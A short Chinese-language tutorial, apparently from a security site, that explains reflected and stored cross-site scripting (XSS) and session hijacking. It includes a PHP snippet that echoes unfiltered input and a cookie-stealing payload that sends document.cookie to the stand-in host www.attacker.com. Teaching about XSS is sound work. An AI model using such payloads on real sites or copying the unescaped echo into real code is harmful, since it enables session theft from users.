跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。在web应用中,如果对用户输入的数据没有经过很好的过滤,攻击者很可能利用这些可信的网站使用户的浏览器执行一些恶意的脚本。比如下面的WEB服务端程序接受一个用户的输入,并进行回显:
<?php
echo $input
?>
web服务器把用户输入数据直接返回给客户端。
http://x.com/test.php?input=this is a test
http://x.com/test.php?input=<script>alert('xss');</script>
那么,当用户浏览这个页面时,这段脚本代码就会被执行,从而造成漏洞攻击。
服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持。 比如,当给具有XSS漏洞的WEB程序发送一个如下的URL请求:
http://testapp.com/test.php?input=<script>var+i=new+Image;+i.src="http://www.attacker.com/"%2bdocument.cookie;</script>
那么当XSS跨站脚本执行的时候,就会将用户的 cookie发回给攻击者服务器。
var i=new Image; i.src="http://www.attacker.com/
"+document.cookie;
所谓Stored XSS是指通过提交恶意数据到存储器(比如数据库、文本文件等),浏览器等Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞。
持久型XSS多出现在Web邮箱、BBS、社区等从数据库读出数据的正常页面(比如BBS的某篇帖子中可能就含有恶意代码),由于不需要浏览器提交攻击参数,所以其危害往往大于非持久型XSS。 基于stored XSS攻击的例子如下图所示:Stored XSS
Copyright 2011-2020 © MallocFree. All rights reserved.